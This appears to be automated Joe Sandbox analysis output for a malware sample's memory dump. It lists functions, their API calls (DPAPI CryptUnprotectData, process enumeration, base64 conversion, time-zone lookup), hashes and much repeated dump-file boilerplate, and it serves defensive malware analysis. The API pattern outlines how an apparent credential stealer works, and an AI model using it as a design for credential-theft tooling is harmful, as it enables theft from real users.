Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8988028cfb893897a98df7d46e7c3e0c963a9d0528a370c582cb6faa9813eae8
Instruction ID: 0d6163ae7cf657934ec788104a64ebe8b156c6f19ec19eae9051c47b6a29cdb6
Opcode Fuzzy Hash: 8988028cfb893897a98df7d46e7c3e0c963a9d0528a370c582cb6faa9813eae8
Instruction Fuzzy Hash: 99213EB5D10209ABDF04EFE4E949AEEB7B9FF48300F04852EE046E3244EB355604CB65

Function 00FF7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00FF724D
RtlAllocateHeap.NTDLL(00000000), ref: 00FF7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00FF7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00FF72A4
LocalFree.KERNEL32(?), ref: 00FF72AE

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 627bca2684ee4438e49848ec51c59470a7e3af217ce10d6f167de5ed2020ea38
Instruction ID: 61b0e16a2ee540b2efac6f6be331c157be7c9d9083e434cedbb256e09c26c213
Opcode Fuzzy Hash: 627bca2684ee4438e49848ec51c59470a7e3af217ce10d6f167de5ed2020ea38
Instruction Fuzzy Hash: 90010075A40208BBEB24DB94DD4AFADB778BB44700F104158FB45EB2C4D670AA019B65

Function 01009600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0100961E
Process32First.KERNEL32(01010ACA,00000128), ref: 01009632
Process32Next.KERNEL32(01010ACA,00000128), ref: 01009647
StrCmpCA.SHLWAPI(?,00000000), ref: 0100965C
CloseHandle.KERNEL32(01010ACA), ref: 0100967A

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: a7ca88999480a45b562e1b7878bba8fee2412accbf01035073021153f0be853a
Instruction ID: fc6632bb3211cb83fcea9df360aecb91b23ca336348e6983acb6f4731f975d56
Opcode Fuzzy Hash: a7ca88999480a45b562e1b7878bba8fee2412accbf01035073021153f0be853a
Instruction Fuzzy Hash: E6010075A10208ABDB25DFA5DD48BDDBBF8EB4C704F004198A54AD7280DB349B40CF50

Function 01008EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00FF5184,40000001,00000000,00000000,?,00FF5184), ref: 01008EC0

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 907110de3995f859af0350646c8560816cc0eab36575273d1aa26042ca41039c
Instruction ID: 58e7daf8808cf342646316713d1e4ab18e84123aeb252269bd1b751ae9a1aa79
Opcode Fuzzy Hash: 907110de3995f859af0350646c8560816cc0eab36575273d1aa26042ca41039c
Instruction Fuzzy Hash: 1B110A70600205AFEB41CF64E888FBB33A9BF89300F00D459FA958B291D735E841DB60

Function 00FF9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9B2A
LocalFree.KERNEL32(?,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B3F

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 4a78520caa1c06c54d89defb7cbef3a3b3edc27a3bdb7a5e7c88f0758c9425e1
Instruction ID: b36a797e57c16dacd246936c1b74c010e6dccfb68cb5384311e6157ef8720624
Opcode Fuzzy Hash: 4a78520caa1c06c54d89defb7cbef3a3b3edc27a3bdb7a5e7c88f0758c9425e1
Instruction Fuzzy Hash: 4111A4B4640208AFEB10CF64D899FAA77B5FB89710F208058FA159B3D4C7B5AA01DB50

Function 01007A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0198F760,00000000,?,01010E10,00000000,?,00000000,00000000), ref: 01007A63
RtlAllocateHeap.NTDLL(00000000), ref: 01007A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0198F760,00000000,?,01010E10,00000000,?,00000000,00000000,?), ref: 01007A7D
wsprintfA.USER32 ref: 01007AB7

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 5999ff9b2aa3972ee61f2ee0dcc9194565575f74eb27b867051d547420639eea
Instruction ID: be244539f063034195fdad73371ee362fb1b0e22f720faee00764ddf0dea6477
Opcode Fuzzy Hash: 5999ff9b2aa3972ee61f2ee0dcc9194565575f74eb27b867051d547420639eea
Instruction Fuzzy Hash: 38118EB1945218EBEB208B94DC49FA9B7B8FB44721F0043AAE94A932C0C7781A84CF50

Function 013BFE86 Relevance: 5.8, Strings: 4, Instructions: 777COMMON

Download Yara Rule

Strings

](t{, xrefs: 013BFFBC
1.v, xrefs: 013C063B
Oqt~, xrefs: 013C05B7
e]u, xrefs: 013C03E1

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1.v$Oqt~$](t{$e]u
API String ID: 0-4114461045
Opcode ID: 621f49fef06bc05e1d41ec4f101363ddd10fb5bb542c30f203b56178666581c7
Instruction ID: 97a70cec39f260b1173871aad14ce3979f82efa03d4be22513787cff2c7cd66d
Opcode Fuzzy Hash: 621f49fef06bc05e1d41ec4f101363ddd10fb5bb542c30f203b56178666581c7
Instruction Fuzzy Hash: 4732D5F360C6049FE304AE2DEC8577AFBE9EF98320F16892DE6C5C7344EA3558118656

Function 01003720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0100E118,00000000,00000001,0100E108,00000000), ref: 01003758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 010037B0

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 221fdf171c6bb866fe8064e0e7082d42197e62d5b1bce932c5aec6f1141221c4
Instruction ID: d31b120520cf410393158ded4be5ed0cde9f18a8723357511918885586494ac6
Opcode Fuzzy Hash: 221fdf171c6bb866fe8064e0e7082d42197e62d5b1bce932c5aec6f1141221c4
Instruction Fuzzy Hash: 6D41F870A00A289FEB25DB58CC95BDBB7B4BB48702F4041D9E609EB2D0D7B16E85CF50

Function 00FF9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FF9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00FF9BA3
LocalFree.KERNEL32(?), ref: 00FF9BD3

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: da740208e4c7c495a8c5619eeaf3a24176b3617a97618bc26d49e20aa9b4ff64
Instruction ID: af93884fbc1422d1f2dc3481eb10cfd868c0e31f7819f4d3e60bacf3334f8f72
Opcode Fuzzy Hash: da740208e4c7c495a8c5619eeaf3a24176b3617a97618bc26d49e20aa9b4ff64
Instruction Fuzzy Hash: 6D11CCB8A00209DFDB04DF94D989AAE77B5FF88300F104568E915A7354D774AE10CF61

Function 013C93C3 Relevance: 4.1, Strings: 2, Instructions: 1590COMMON

Download Yara Rule

Strings

57??, xrefs: 013C9D56
M=D, xrefs: 013CA3FF

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 57??$M=D
API String ID: 0-3615813599
Opcode ID: 1a945ca96a57811f196086ef3a414d1ab209d5321816693f2ada98d0ed206661
Instruction ID: b237d58a7f449647eca9e88b28df94a99272bd88a31a762bd4bc7aac4d309b10
Opcode Fuzzy Hash: 1a945ca96a57811f196086ef3a414d1ab209d5321816693f2ada98d0ed206661
Instruction Fuzzy Hash: D3B2E7F36082009FE304AE2DDC8567AFBE9EFD4720F1A893DE6C5C7744EA3558018696

Function 013CD3CC Relevance: 2.1, Strings: 1, Instructions: 815COMMON

Download Yara Rule

Strings

By~w, xrefs: 013CD8D9

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: By~w
API String ID: 0-883207314
Opcode ID: 25e3ecc18e1ebf5b233052bb2f85376ab15405fab93bd371f1a4e4fc68018194
Instruction ID: c3290b48cc0b03497df65225fb5dd2d309e5ae4cfd012e200f10f7443536bc79
Opcode Fuzzy Hash: 25e3ecc18e1ebf5b233052bb2f85376ab15405fab93bd371f1a4e4fc68018194
Instruction Fuzzy Hash: 2A4229F3A0C214AFE3046E6DEC8567ABBE5EF94620F16853DEAC4D7740E63598018793

Function 013C6ACD Relevance: 1.8, Strings: 1, Instructions: 565COMMON

Download Yara Rule

Strings

4a4, xrefs: 013C70A2

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4a4
API String ID: 0-1365780938
Opcode ID: b2874224c21b67ee11b0cac2d6dedc6d62cc7edf73b769850fa6a18cca403fd6
Instruction ID: 80ad1d5ee91716d6f62c41452540f1daeebe2d0529fe1ec5384ef50d9872b3da
Opcode Fuzzy Hash: b2874224c21b67ee11b0cac2d6dedc6d62cc7edf73b769850fa6a18cca403fd6
Instruction Fuzzy Hash: 0F02D4F36086009FE704AE2DDC8576ABBE6EFD8320F1A893DD6C4C3744E63598458697

